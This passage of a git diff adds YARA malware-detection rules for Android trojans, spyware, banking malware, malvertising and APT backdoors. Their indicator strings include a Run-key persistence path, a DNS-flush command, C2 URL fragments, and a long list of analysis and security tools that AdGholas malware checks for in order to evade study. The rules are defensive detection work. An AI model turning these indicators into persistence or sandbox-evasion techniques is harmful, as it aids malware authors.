+		androguard.filter(/ACTION_POWER_DISCONNECTED/i)
+}
diff --git a/yara-mikesxrs/pombredanne/Android_Clicker_G.yar b/yara-mikesxrs/pombredanne/Android_Clicker_G.yar
new file mode 100644
index 0000000..ac3322b
--- /dev/null
+++ b/yara-mikesxrs/pombredanne/Android_Clicker_G.yar
@@ -0,0 +1,14 @@
+import "androguard"
+
+rule Android_Clicker_G
+{
+	meta:
+		author = "Jacob Soo Lead Re"
+		date = "01-July-2016"
+		description = "This rule try to detects Clicker.G samples"
+		reference = "https://blogs.mcafee.com/mcafee-labs/android-malware-clicker-dgen-found-google-play/"
+	strings:
+		$a = "upd.php?text="
+	condition:
+		androguard.receiver(/MyBroadCastReceiver/i) and $a
+}
diff --git a/yara-mikesxrs/pombredanne/Android_Copy9.yar b/yara-mikesxrs/pombredanne/Android_Copy9.yar
new file mode 100644
index 0000000..2fe76e7
--- /dev/null
+++ b/yara-mikesxrs/pombredanne/Android_Copy9.yar
@@ -0,0 +1,14 @@
+import "androguard"
+
+rule Android_Copy9
+{
+	meta:
+		author = "Jacob Soo Lead Re"
+		date = "06-June-2016"
+		description = "This rule try to detect commercial spyware from Copy9"
+		source = "http://copy9.com/"
+
+	condition:
+		androguard.service(/com.ispyoo/i) and
+        androguard.receiver(/com.ispyoo/i)
+}
diff --git a/yara-mikesxrs/pombredanne/Android_DeathRing.yar b/yara-mikesxrs/pombredanne/Android_DeathRing.yar
new file mode 100644
index 0000000..7b0799a
--- /dev/null
+++ b/yara-mikesxrs/pombredanne/Android_DeathRing.yar
@@ -0,0 +1,14 @@
+import "androguard"
+
+rule Android_DeathRing
+{
+	meta:
+		author = "Jacob Soo Lead Re"
+		date = "06-June-2016"
+		description = "DeathRing is a Chinese Trojan that is pre-installed on a number of smartphones most popular in Asian and African countries. Detection volumes are moderate, though we consider this a concerning threat given its pre-loaded nature and the fact that we are actively seeing detections of it around the world."
+		source = "https://blog.lookout.com/blog/2014/12/04/deathring/"
+
+	condition:
+		androguard.service(/MainOsService/i) and
+        androguard.receiver(/ApkUninstallReceiver/i)
+}
diff --git a/yara-mikesxrs/pombredanne/Android_Dendroid.yar b/yara-mikesxrs/pombredanne/Android_Dendroid.yar
new file mode 100644
index 0000000..a963b1b
--- /dev/null
+++ b/yara-mikesxrs/pombredanne/Android_Dendroid.yar
@@ -0,0 +1,15 @@
+import "androguard"
+
+rule Android_Dendroid
+{
+	meta:
+		author = "Jacob Soo Lead Re"
+		date = "19-May-2016"
+		description = "This rule try to detect Dendroid"
+		source = "https://blog.lookout.com/blog/2014/03/06/dendroid/"
+
+	condition:
+		(androguard.service(/com.connect.RecordService/i) or
+		androguard.activity(/com.connect.Dendroid/i)) and
+        androguard.permission(/android.permission.RECEIVE_BOOT_COMPLETED/i)
+}
diff --git a/yara-mikesxrs/pombredanne/Android_Dogspectus.yar b/yara-mikesxrs/pombredanne/Android_Dogspectus.yar
new file mode 100644
index 0000000..c96cad7
--- /dev/null
+++ b/yara-mikesxrs/pombredanne/Android_Dogspectus.yar
@@ -0,0 +1,16 @@
+import "androguard"
+
+rule Android_Dogspectus
+{
+	meta:
+		author = "Jacob Soo Lead Re"
+		date = "20-July-2016"
+		description = "This rule try to detects Dogspectus"
+		source = "https://www.bluecoat.com/security-blog/2016-04-25/android-exploit-delivers-dogspectus-ransomware"
+
+	condition:
+		androguard.activity(/PanickedActivity/i) and 
+		androguard.permission(/android.permission.RECEIVE_BOOT_COMPLETED/i) and 
+		androguard.permission(/android.permission.INTERNET/i) and
+		androguard.permission(/android.permission.WAKE_LOCK/i)
+}
diff --git a/yara-mikesxrs/pombredanne/Android_FakeBank_Fanta.yar b/yara-mikesxrs/pombredanne/Android_FakeBank_Fanta.yar
new file mode 100644
index 0000000..09d9851
--- /dev/null
+++ b/yara-mikesxrs/pombredanne/Android_FakeBank_Fanta.yar
@@ -0,0 +1,17 @@
+import "androguard"
+
+rule Android_FakeBank_Fanta
+{
+	meta:
+		author = "Jacob Soo Lead Re"
+		date = "14-July-2016"
+		description = "This rule try to detects Android FakeBank_Fanta"
+		source = "https://blog.trendmicro.com/trendlabs-security-intelligence/fake-bank-app-phishes-credentials-locks-users-out/"
+
+	condition:
+		androguard.service(/SocketService/i) and 
+		androguard.receiver(/MyAdmin/i) and 
+		androguard.receiver(/Receiver/i) and 
+		androguard.receiver(/NetworkChangeReceiver/i)
+		
+}
diff --git a/yara-mikesxrs/pombredanne/Android_Godless.yar b/yara-mikesxrs/pombredanne/Android_Godless.yar
new file mode 100644
index 0000000..b6cc7d6
--- /dev/null
+++ b/yara-mikesxrs/pombredanne/Android_Godless.yar
@@ -0,0 +1,37 @@
+import "androguard"
+
+rule Android_Godlike
+{
+	meta:
+		author = "Jacob Soo Lead Re"
+		date = "01-July-2016"
+		description = "This rule will be able to tag all the samples with local exploits."
+		source = "http://blog.trendmicro.com/trendlabs-security-intelligence/godless-mobile-malware-uses-multiple-exploits-root-devices/"
+
+	strings:
+		$a = "libgodlikelib.so"
+	condition:
+		(androguard.service(/godlike\.s/i) and
+		androguard.service(/godlike\.g/i) and
+        androguard.receiver(/godlike\.e/i)) or
+		$a
+		}
+
+rule Android_Godlike_2
+{
+	meta:
+		author = "Jacob Soo Lead Re"
+		date = "01-July-2016"
+		description = "This rule will be able to tag all the samples with remote exploits."
+		source = "http://blog.trendmicro.com/trendlabs-security-intelligence/godless-mobile-malware-uses-multiple-exploits-root-devices/"
+
+	strings:
+		$a_1 = "libroot.so"
+		$a_2 = "silent91_arm_bin.root"
+		$a_3 = "libr.so"
+		$a_4 = "libpl_droidsonroids_gif.so"
+	condition:
+		(androguard.service(/FastInstallService/i) and
+		androguard.service(/DownloadService/i)) and 
+		any of ($a_*)
+}
diff --git a/yara-mikesxrs/pombredanne/Android_Marcher.yar b/yara-mikesxrs/pombredanne/Android_Marcher.yar
new file mode 100644
index 0000000..6067301
--- /dev/null
+++ b/yara-mikesxrs/pombredanne/Android_Marcher.yar
@@ -0,0 +1,14 @@
+import "androguard"
+
+rule Android_Marcher
+{
+	meta:
+		author = "Jacob Soo Lead Re"
+		date = "04-July-2016"
+		description = "Marcher has been active since 2013; like any commercial malware, it is featured in different campaigns, in multiple countries."
+		source = "https://exchange.xforce.ibmcloud.com/collection/Marcher-Android-Bot-eeede463ee5c2b57402fc86154411e65"
+
+	condition:
+		(androguard.filter(/com.KHLCert.fdservice/i) and
+		androguard.filter(/com.KHLCert.gpservice/i))
+}
diff --git a/yara-mikesxrs/pombredanne/Android_MazarBot.yar b/yara-mikesxrs/pombredanne/Android_MazarBot.yar
new file mode 100644
index 0000000..6a3d230
--- /dev/null
+++ b/yara-mikesxrs/pombredanne/Android_MazarBot.yar
@@ -0,0 +1,16 @@
+import "androguard"
+
+rule Android_MazarBot
+{
+	meta:
+		author = "Jacob Soo Lead Re"
+		date = "01-July-2016"
+		description = "This rule try to detects MazarBot"
+		source = "https://heimdalsecurity.com/blog/security-alert-new-android-malware-post-denmark/"
+
+	condition:
+		(androguard.filter(/wakeup/i) and 
+		 androguard.filter(/reportsent/i)) or
+		(androguard.filter(/wakeup/i) and 
+		 androguard.filter(/com\.whats\.process/i))
+}
diff --git a/yara-mikesxrs/pombredanne/Android_OmniRat.yar b/yara-mikesxrs/pombredanne/Android_OmniRat.yar
new file mode 100644
index 0000000..a7a214f
--- /dev/null
+++ b/yara-mikesxrs/pombredanne/Android_OmniRat.yar
@@ -0,0 +1,17 @@
+import "androguard"
+
+rule Android_OmniRat
+{
+	meta:
+		author = "Jacob Soo Lead Re"
+		date = "01-July-2016"
+		description = "This rule try to detects OmniRat"
+		source = "https://blog.avast.com/2015/11/05/droidjack-isnt-the-only-spying-software-out-there-avast-discovers-that-omnirat-is-currently-being-used-and-spread-by-criminals-to-gain-full-remote-co"
+
+	strings:
+		$a = "android.engine.apk"
+	condition:
+		(androguard.activity(/com.app.MainActivity/i) and 
+		 androguard.permission(/android.permission.WRITE_EXTERNAL_STORAGE/i) and 
+		 androguard.package_name(/com.app/i)) and $a
+}
diff --git a/yara-mikesxrs/pombredanne/Android_RuMMS.yar b/yara-mikesxrs/pombredanne/Android_RuMMS.yar
new file mode 100644
index 0000000..deb3ead
--- /dev/null
+++ b/yara-mikesxrs/pombredanne/Android_RuMMS.yar
@@ -0,0 +1,19 @@
+import "androguard"
+
+rule Android_RuMMS
+{
+	meta:
+		author = "Jacob Soo Lead Re"
+		date = "19-May-2016"
+		description = "This rule try to detects Android.Banking.RuMMS"
+		source = "https://www.fireeye.com/blog/threat-research/2016/04/rumms-android-malware.html"
+
+	condition:
+		(androguard.service(/\.Tb/) and 
+		 androguard.service(/\.Ad/) and 
+		 androguard.receiver(/\.Ac/) and 
+		 androguard.receiver(/\.Ma/)) or
+        (androguard.url(/http\:\/\/37\.1\.207/) and 
+		 androguard.url(/\/api\/\?id\=7/))
+		
+}
diff --git a/yara-mikesxrs/pombredanne/PDF_Embedded_Exe.yar b/yara-mikesxrs/pombredanne/PDF_Embedded_Exe.yar
new file mode 100644
index 0000000..80e8f38
--- /dev/null
+++ b/yara-mikesxrs/pombredanne/PDF_Embedded_Exe.yar
@@ -0,0 +1,8 @@
+rule PDF_Embedded_Exe{
+	strings:
+    	$header = {25 50 44 46}
+    	$Launch_Action = {3C 3C 2F 53 2F 4C 61 75 6E 63 68 2F 54 79 70 65 2F 41 63 74 69 6F 6E 2F 57 69 6E 3C 3C 2F 46}
+        $exe = {3C 3C 2F 45 6D 62 65 64 64 65 64 46 69 6C 65 73}
+    condition:
+    	$header at 0 and $Launch_Action and $exe
+}
diff --git a/yara-mikesxrs/pombredanne/SandroRat.yar b/yara-mikesxrs/pombredanne/SandroRat.yar
new file mode 100644
index 0000000..e12c590
--- /dev/null
+++ b/yara-mikesxrs/pombredanne/SandroRat.yar
@@ -0,0 +1,13 @@
+import "androguard"
+
+rule SandroRat
+{
+	meta:
+		author = "Jacob Soo Lead Re"
+		date = "21-May-2016"
+		description = "This rule detects SandroRat"
+		source = "https://blogs.mcafee.com/mcafee-labs/sandrorat-android-rat-targeting-polish-banking-users-via-e-mail-phishing/"
+
+	condition:
+		androguard.activity(/net.droidjack.server/i) 
+}
diff --git a/yara-mikesxrs/pombredanne/Spartan_SWF.yar b/yara-mikesxrs/pombredanne/Spartan_SWF.yar
new file mode 100644
index 0000000..66d1159
--- /dev/null
+++ b/yara-mikesxrs/pombredanne/Spartan_SWF.yar
@@ -0,0 +1,14 @@
+rule Spartan_SWF
+{
+    meta:
+        author = "Jacob Soo Lead Re"
+        date = "11-June-2016"
+        version = "1.0"
+    
+    strings:
+		$header = {46 57 53}
+        $a1 = {73 6F 63 69 6F 64 6F 78 2E 75 74 69 6C 73 3A 42 61 73 65 36 34}
+        $a2 = {0C 5F 65 6E 63 6F 64 65 43 68 61 72 73 0C 5F 64 65 63 6F 64 65 43 68 61 72 73 06 65 6E 63 6F 64 65 06 64 65 63 6F 64 65 0E 49 6E 69 74 45 6E 63 6F 72 65 43 68 61 72 0E 49 6E 69 74 44 65 63 6F 64 65 43 68 61 72}
+    condition:
+        $header at 0 and all of ($a*)
+}
diff --git a/yara-mikesxrs/proofpoint/AVIDVIPER_APT_BACKDOOR.yar b/yara-mikesxrs/proofpoint/AVIDVIPER_APT_BACKDOOR.yar
new file mode 100644
index 0000000..2bca755
--- /dev/null
+++ b/yara-mikesxrs/proofpoint/AVIDVIPER_APT_BACKDOOR.yar
@@ -0,0 +1,26 @@
+rule AVIDVIPER_APT_BACKDOOR {
+
+    meta:
+
+        author = "Proofpoint Staff"
+
+        info = "avid viper update"
+		
+		reference = "https://www.proofpoint.com/us/threat-insight/post/Operation-Arid-Viper-Slithers-Back-Into-View"
+ 
+
+        strings:
+
+                $s1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-/"
+
+                $s2 = "SELECT * FROM Win32_DiskDrive" wide ascii
+
+                $s3 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide ascii
+
+                $s4 = "\\dd\\vctools\\vc7libs\\ship\\atlmfc" wide ascii
+
+        condition:
+
+                $s4 and 2 of ($s1,$s2,$s3)
+
+}
diff --git a/yara-mikesxrs/proofpoint/AdGholas_mem.yar b/yara-mikesxrs/proofpoint/AdGholas_mem.yar
new file mode 100644
index 0000000..3e314ac
--- /dev/null
+++ b/yara-mikesxrs/proofpoint/AdGholas_mem.yar
@@ -0,0 +1,20 @@
+rule AdGholas_mem
+{
+ meta:
+     malfamily = "AdGholas"
+	 author = "Proofpoint"
+	 reference = "https://www.proofpoint.com/us/threat-insight/post/massive-adgholas-malvertising-campaigns-use-steganography-and-file-whitelisting-to-hide-in-plain-sight"
+	 reference2 = "https://blog.malwarebytes.com/cybercrime/exploits/2016/12/adgholas-malvertising-business-as-usual/"
+
+ strings:
+      $a1 = "(3e8)!=" ascii wide
+      $a2 = /href=\x22\.\x22\+[a-z]+\,mimeType\}/ ascii wide
+      $a3 = /\+[a-z]+\([\x22\x27]divx[^\x22\x27]+torrent[^\x22\x27]*[\x22\x27]\.split/ ascii wide
+      $a4 = "chls" nocase ascii wide
+      $a5 = "saz" nocase ascii wide
+      $a6 = "flac" nocase ascii wide
+      $a7 = "pcap" nocase ascii wide
+
+ condition:
+      all of ($a*)
+}
diff --git a/yara-mikesxrs/proofpoint/AdGholas_mem_MIME.yar b/yara-mikesxrs/proofpoint/AdGholas_mem_MIME.yar
new file mode 100644
index 0000000..2f5e0e3
--- /dev/null
+++ b/yara-mikesxrs/proofpoint/AdGholas_mem_MIME.yar
@@ -0,0 +1,18 @@
+rule AdGholas_mem_MIME
+{
+ meta:
+     malfamily = "AdGholas"
+	 author = "Proofpoint"
+	 reference = "https://www.proofpoint.com/us/threat-insight/post/massive-adgholas-malvertising-campaigns-use-steganography-and-file-whitelisting-to-hide-in-plain-sight"
+	 reference2 = "https://blog.malwarebytes.com/cybercrime/exploits/2016/12/adgholas-malvertising-business-as-usual/"
+
+ strings:
+      $b1=".300000000" ascii nocase wide fullword
+      $b2=".saz" ascii nocase wide fullword
+      $b3=".py" ascii nocase wide fullword
+      $b4=".pcap" ascii nocase wide fullword
+      $b5=".chls" ascii nocase wide fullword
+
+ condition:
+      all of ($b*)
+}
diff --git a/yara-mikesxrs/proofpoint/AdGholas_mem_MIME_M2.yar b/yara-mikesxrs/proofpoint/AdGholas_mem_MIME_M2.yar
new file mode 100644
index 0000000..4ff0526
--- /dev/null
+++ b/yara-mikesxrs/proofpoint/AdGholas_mem_MIME_M2.yar
@@ -0,0 +1,20 @@
+rule AdGholas_mem_MIME_M2
+{
+ meta:
+     malfamily = "AdGholas"
+	 author = "Proofpoint"
+	 reference = "https://www.proofpoint.com/us/threat-insight/post/massive-adgholas-malvertising-campaigns-use-steganography-and-file-whitelisting-to-hide-in-plain-sight"
+	 reference2 = "https://blog.malwarebytes.com/cybercrime/exploits/2016/12/adgholas-malvertising-business-as-usual/"
+
+
+ strings:
+     $s1 = "halog" nocase ascii wide fullword
+     $s2 = "pcap" nocase ascii wide fullword
+     $s3 = "saz" nocase ascii wide fullword
+     $s4 = "chls" nocase ascii wide fullword
+     $s5 = /return[^\x3b\x7d\n]+href\s*=\s*[\x22\x27]\x2e[\x27\x22]\s*\+\s*[^\x3b\x7d\n]+\s*,\s*[^\x3b\x7d\n]+\.mimeType/ nocase ascii wide
+     $s6 = /\x21==[a-zA-Z]+\x3f\x210\x3a\x211/ nocase ascii wide
+
+ condition:
+     all of ($s*)
+}
diff --git a/yara-mikesxrs/proofpoint/AdGholas_mem_antisec.yar b/yara-mikesxrs/proofpoint/AdGholas_mem_antisec.yar
new file mode 100644
index 0000000..854631d
--- /dev/null
+++ b/yara-mikesxrs/proofpoint/AdGholas_mem_antisec.yar
@@ -0,0 +1,41 @@
+rule AdGholas_mem_antisec
+{
+ meta:
+     malfamily = "AdGholas"
+	 author = "Proofpoint"
+	 reference = "https://www.proofpoint.com/us/threat-insight/post/massive-adgholas-malvertising-campaigns-use-steganography-and-file-whitelisting-to-hide-in-plain-sight"
+	 reference2 = "https://blog.malwarebytes.com/cybercrime/exploits/2016/12/adgholas-malvertising-business-as-usual/"
+
+
+ strings:
+     $vid1 = "res://c:\\windows\\system32\\atibtmon.exe" nocase ascii wide
+     $vid2 = "res://c:\\windows\\system32\\aticfx32.dll" nocase ascii wide
+     $vid3 = "res://c:\\windows\\system32\\drivers\\ati2mtag.sys" nocase ascii wide
+     $vid4 = "res://c:\\windows\\system32\\drivers\\atihdmi.sys" nocase ascii wide
+     $vid5 = "res://c:\\windows\\system32\\drivers\\atikmdag.sys" nocase ascii wide
+     $vid6 = "res://c:\\windows\\system32\\drivers\\igdkmd32.sys" nocase ascii wide
+     $vid7 = "res://c:\\windows\\system32\\drivers\\igdkmd64.sys" nocase ascii wide
+     $vid8 = "res://c:\\windows\\system32\\drivers\\igdpmd32.sys" nocase ascii wide
+     $vid9 = "res://c:\\windows\\system32\\drivers\\igdpmd64.sys" nocase ascii wide
+     $vid10 = "res://c:\\windows\\system32\\drivers\\mfeavfk.sys" nocase ascii wide
+     $vid11 = "res://c:\\windows\\system32\\drivers\\mfehidk.sys" nocase ascii wide
+     $vid12 = "res://c:\\windows\\system32\\drivers\\mfenlfk.sys" nocase ascii wide
+     $vid13 = "res://c:\\windows\\system32\\drivers\\nvhda32v.sys" nocase ascii wide
+     $vid14 = "res://c:\\windows\\system32\\drivers\\nvhda64v.sys" nocase ascii wide
+     $vid15 = "res://c:\\windows\\system32\\drivers\\nvlddmkm.sys" nocase ascii wide
+     $vid16 = "res://c:\\windows\\system32\\drivers\\pci.sys" nocase ascii wide
+     $vid17 = "res://c:\\windows\\system32\\igd10umd32.dll" nocase ascii wide
+     $vid18 = "res://c:\\windows\\system32\\igd10umd64.dll" nocase ascii wide
+     $vid19 = "res://c:\\windows\\system32\\igdumd32.dll" nocase ascii wide
+     $vid20 = "res://c:\\windows\\system32\\igdumd64.dll" nocase ascii wide
+     $vid21 = "res://c:\\windows\\system32\\igdumdim32.dll" nocase ascii wide
+     $vid22 = "res://c:\\windows\\system32\\igdumdim64.dll" nocase ascii wide
+     $vid23 = "res://c:\\windows\\system32\\igdusc32.dll" nocase ascii wide
+     $vid24 = "res://c:\\windows\\system32\\igdusc64.dll" nocase ascii wide
+     $vid25 = "res://c:\\windows\\system32\\nvcpl.dll" nocase ascii wide
+     $vid26 = "res://c:\\windows\\system32\\opencl.dll" nocase ascii wide
+     $antisec = /res:\/\/(c:\\((program files|programme|archivos de programa|programmes|programmi|arquivos de programas|program|programmer|programfiler|programas|fisiere program)( (x86)\\((p(rox(y labs\\proxycap\\pcapui|ifier\\proxifier)|arallels\\parallels tools\\prl_cc)|e(met (5.[012]|4.[01])\\emet_gui|ffetech http sniffer\\ehsniffer)|malwarebytes anti-(exploit\\mbae|malware\\mbam)|oracle\\virtualbox guest additions\\vboxtray|debugging tools for windows (x86)\\windbg|(wireshark\\wiresha|york\\yo)rk|ufasoft\\sockschain\\sockschain|vmware\\vmware tools\\vmtoolsd|nirsoft\\smartsniff\\smsniff|charles\\charles).exe|i(n(vincea\\((browser protection\\invbrowser|enterprise\\invprotect).exe|threat analyzer\\fips\\nss\\lib\\ssl3.dll)|ternet explorer\\iexplore.exe)|einspector\\(httpanalyzerfullv(6\\hookwinsockv6|7\\hookwinsockv7)|iewebdeveloperv2\\iewebdeveloperv2).dll)|geo(edge\\geo(vpn\\bin\\geovpn|proxy\\geoproxy).exe|surf by biscience toolbar\\tbhelper.dll)|s(oftperfect network protocol analyzer\\snpa.exe|andboxie\\sbiedll.dll)|(adclarity toolbar\\tbhelper|httpwatch\\httpwatch).dll|fiddler(coreapi\\fiddlercore.dll|2?\\fiddler.exe))|\\((p(rox(y labs\\proxycap\\pcapui|ifier\\proxifier)|arallels\\parallels tools\\prl_cc)|e(met (5.[012]|4.[01])\\emet_gui|ffetech http sniffer\\ehsniffer)|malwarebytes anti-(exploit\\mbae|malware\\mbam)|oracle\\virtualbox guest additions\\vboxtray|debugging tools for windows (x86)\\windbg|(wireshark\\wiresha|york\\yo)rk|ufasoft\\sockschain\\sockschain|vmware\\vmware tools\\vmtoolsd|nirsoft\\smartsniff\\smsniff|charles\\charles).exe|i(nvincea\\((browser protection\\invbrowser|enterprise\\invprotect).exe|threat analyzer\\fips\\nss\\lib\\ssl3.dll)|einspector\\(httpanalyzerfullv(6\\hookwinsockv6|7\\hookwinsockv7)|iewebdeveloperv2\\iewebdeveloperv2).dll)|geo(edge\\geo(vpn\\bin\\geovpn|proxy\\geoproxy).exe|surf by biscience toolbar\\tbhelper.dll)|s(oftperfect network protocol analyzer\\snpa.exe|andboxie\\sbiedll.dll)|(adclarity toolbar\\tbhelper|httpwatch\\httpwatch).dll|fiddler(coreapi\\fiddlercore.dll|2?\\fiddler.exe)))|windows\\system32\\(drivers\\(tm(actmon|evtmgr|comm|tdi)|nv(hda(32|64)v|lddmkm)|bd(sandbox|fsfltr)|p(ssdklbf|rl_fs)|e(amonm?|hdrv)|v(boxdrv|mci)|hmpalert).sys|(p(rxerdrv|capwsp)|socketspy).dll|v(boxservice|mu?srvc).exe)|python(3[45]|27)\\python.exe)|(h(ookwinsockv[67]|ttpwatch)|s(b(ie|ox)dll|ocketspy)|p(rxerdrv|capwsp)|xproxyplugin|mbae).dll|inv(guestie.dll(\/icon.png)?|redirhostie.dll)|w\/icon.png)/ nocase ascii wide
+
+ condition:
+      any of ($vid*) and #antisec > 20
+}
diff --git a/yara-mikesxrs/proofpoint/AdGholas_mem_antisec_M2.yar b/yara-mikesxrs/proofpoint/AdGholas_mem_antisec_M2.yar
new file mode 100644
index 0000000..7df15b1
--- /dev/null
+++ b/yara-mikesxrs/proofpoint/AdGholas_mem_antisec_M2.yar
@@ -0,0 +1,19 @@
+rule AdGholas_mem_antisec_M2
+{
+ meta:
+     malfamily = "AdGholas"
+	 author = "Proofpoint"
+	 reference = "https://www.proofpoint.com/us/threat-insight/post/massive-adgholas-malvertising-campaigns-use-steganography-and-file-whitelisting-to-hide-in-plain-sight"
+	 reference2 = "https://blog.malwarebytes.com/cybercrime/exploits/2016/12/adgholas-malvertising-business-as-usual/"
+
+
+ strings:
+     $s1 = "ActiveXObject(\"Microsoft.XMLDOM\")" nocase ascii wide
+     $s2 = "loadXML" nocase ascii wide fullword
+     $s3 = "parseError.errorCode" nocase ascii wide
+     $s4 = /res\x3a\x2f\x2f[\x27\x22]\x2b/ nocase ascii wide
+     $s5 = /\x251e3\x21\s*\x3d\x3d\s*[a-zA-Z]+\x3f1\x3a0/ nocase ascii wide
+
+ condition:
+     all of ($s*)
+}
diff --git a/yara-mikesxrs/proofpoint/abaddon.yara b/yara-mikesxrs/proofpoint/abaddon.yara
new file mode 100644
index 0000000..fd1431f
--- /dev/null
+++ b/yara-mikesxrs/proofpoint/abaddon.yara
@@ -0,0 +1,15 @@
+rule AbaddonPOS
+{
+            meta:
+                        description = "AbaddonPOS"
+                        author = "Darien Huss, Proofpoint"
+                        reference = "md5,317f9c57f7983e2608d5b2f00db954ff"
+            strings:
+                        $s1 = "devil_host" fullword ascii
+                        $s2 = "Chrome" fullword ascii
+                        $s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" fullword ascii
+
+                        $i1 = { 31 ?? 81 ?? 55 89 E5 8B 74 }
+            condition:
+                        uint16(0) == 0x5a4d and (all of ($s*) or $i1) and filesize <= 10KB
+}
diff --git a/yara-mikesxrs/proofpoint/blackmoon_banker.yar b/yara-mikesxrs/proofpoint/blackmoon_banker.yar
new file mode 100644
index 0000000..0dda23f
--- /dev/null
+++ b/yara-mikesxrs/proofpoint/blackmoon_banker.yar
@@ -0,0 +1,26 @@
+rule BLACKMOON_BANKER {
+
+    meta:
+
+        author = "Proofpoint Staff"
+
+        info = "blackmoon update"
+
+		reference = "https://www.proofpoint.com/us/threat-insight/post/Updated-Blackmoon-Banking-Trojan"
+ 
+
+        strings:
+
+                $s1 = "BlackMoon RunTime Error:" nocase wide ascii
+
+                $s2 = "\\system32\\rundll32.exe" wide ascii
+
+                $s3 = "cmd.exe /c ipconfig /flushdns" wide ascii
+
+                $s4 = "\\system32\\drivers\\etc\\hosts.ics" wide ascii
+
+        condition:
+
+                all of them
+
+}
diff --git a/yara-mikesxrs/pveutin/magic_numbers.yar b/yara-mikesxrs/pveutin/magic_numbers.yar
new file mode 100644
index 0000000..d1a2594
--- /dev/null
+++ b/yara-mikesxrs/pveutin/magic_numbers.yar
@@ -0,0 +1,135 @@
+/*Magic Number rules
+This rule set defines a list of file signature to help identify files
+https://github.com/pveutin/YaraRules/blob/master/filesig.yar
+*/
+
+
+//Documents
+
+rule office_magic_bytes
+{
+  strings:
+    $magic = { D0 CF 11 E0 A1 B1 1A E1 00 00 00 }
+  condition:
+    $magic
+}
+
+rule chm_file
+{
+  strings:
+    $magic = { 49 54 53 46 03 00 00 00  60 00 00 00 01 00 00 00 }
+  condition:
+    $magic
+}
+
+rule excel_document
+{
+  strings:
+    $rootentry = { 52 00 6f 00 6f 00 74 00 20 00 45 00 6e 00 74 00 72 00 79 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+    $workbook = "Workbook" wide nocase
+    $msexcel = "Microsoft Excel" nocase
+  condition:
+    all of them
+}
+
+rule word_document
+{
+  strings:
+    $rootentry = { 52 00 6f 00 6f 00 74 00 20 00 45 00 6e 00 74 00 72 00 79 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+    $worddoc = "WordDocument" wide
+    $msworddoc = "MSWordDoc" nocase
+  condition:
+    $rootentry and ($worddoc or $msworddoc)
+}
+
+rule powerpoint_document
+{
+  strings:
+    $pptdoc = "PowerPoint Document" wide nocase
+    $rootentry = { 52 00 6f 00 6f 00 74 00 20 00 45 00 6e 00 74 00 72 00 79 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+  condition:
+    all of them
+}
+
+rule pdf_document
+{
+  strings:
+    $a = "%PDF-"
+  condition:
+    $a at 0
+}
+
+
+//Programs
+
+rule mz_executable // from YARA user's manual
+{
+  condition:
+  // MZ signature at offset 0 and ...
+  uint16(0) == 0x5A4D and
+  // ... PE signature at offset stored in MZ header at 0x3C
+  uint32(uint32(0x3C)) == 0x00004550
+}
+
+//Archives
+rule zip_file
+{
+  strings:
+    $magic = { 50 4b 03 04 }
+    $magic2 = { 50 4b 05 06 }
+    $magic3 = { 50 4b 07 08 }
+  condition:
+    ($magic at 0) or ($magic2 at 0) or ($magic3 at 0)
+}
+
+rule sevenzip_file
+{
+  strings:
+    $magic = { 37 7A BC AF 27 1C }
+  condition:
+    $magic at 0
+}
+
+rule rar_file
+{
+  strings:
+    $rar = { 52 61 72 21 1A 07 00 }
+    $rar5 = { 52 61 72 21 1A 07 01 00 }
+  condition:
+    ($rar at 0) or ($rar5 at 0)
+}
+
+//Pictures
+rule gif_file
+{
+  strings:
+    $gif89a = { 47 49 46 38 39 61 }
+    $gif87a = { 47 49 46 38 37 61 }
+  condition:
+    ( $gif89a at 0 ) or ( $gif87a at 0 )
+}
+
+rule png_file
+{
+  strings :
+    $magic = { 89 50 4E 47 0D 0A 1A 0A }
+  condition:
+    $magic at 0
+}
+
+rule bmp_file
+{
+  strings:
+    $magic = "BM"
+  condition:
+    $magic at 0
+}
+
+rule jpeg_file
+{
+  strings:
+    $jpeg = { FF D8 FF E0 }
+    $jpeg1 = { FF D8 FF E1 }
+  condition:
+    ($jpeg at 0) or ($jpeg1 at 0)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/secureworks/Mirage_APT_Backdoor.yar b/yara-mikesxrs/secureworks/Mirage_APT_Backdoor.yar
new file mode 100644
index 0000000..c150d54
--- /dev/null
+++ b/yara-mikesxrs/secureworks/Mirage_APT_Backdoor.yar
@@ -0,0 +1,18 @@
+rule Mirage_APT_Backdoor : APT Mirage Backdoor Rat MirageRat
+{
+    meta:
+      author = "Silas Cutler (SCutler@SecureWorks.com)"
+      version = "1.0"
+      description = "Malware related to APT campaign"
+      type = "APT Trojan / RAT / Backdoor"
+      reference = "https://www.secureworks.com/research/the-mirage-campaign"
+
+    strings:
+      $a1 = "welcome to the desert of the real"
+      $a2 = "Mirage"
+      $b = "Encoding: gzip"
+      $c = /\/[A-Za-z]*\?hl=en/
+      
+    condition: 
+      (($a1 or $a2) or $b) and $c
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/secureworks/Secureworks_index.yara b/yara-mikesxrs/secureworks/Secureworks_index.yara
new file mode 100644
index 0000000..80041c1
--- /dev/null
+++ b/yara-mikesxrs/secureworks/Secureworks_index.yara
@@ -0,0 +1,70 @@
+rule Mirage_APT_Backdoor : APT Mirage Backdoor Rat MirageRat
+{
+    meta:
+      author = "Silas Cutler (SCutler@SecureWorks.com)"
+      version = "1.0"
+      description = "Malware related to APT campaign"
+      type = "APT Trojan / RAT / Backdoor"
+      reference = "https://www.secureworks.com/research/the-mirage-campaign"
+
+    strings:
+      $a1 = "welcome to the desert of the real"
+      $a2 = "Mirage"
+      $b = "Encoding: gzip"
+      $c = /\/[A-Za-z]*\?hl=en/
+      
+    condition: 
+      (($a1 or $a2) or $b) and $c
+}
+
+rule skeleton_key_injected_code
+{
+	meta:
+		author = "secureworks"
+		reference = "https://www.secureworks.com/research/skeleton-key-malware-analysis"
+
+	strings:
+       $injected = { 33 C0 85 C9 0F 95 C0 48 8B 8C 24 40 01 00 00 48 33 CC E8 4D 02 00 
+	   00 48 81 C4 58 01 00 00 C3 }
+	   
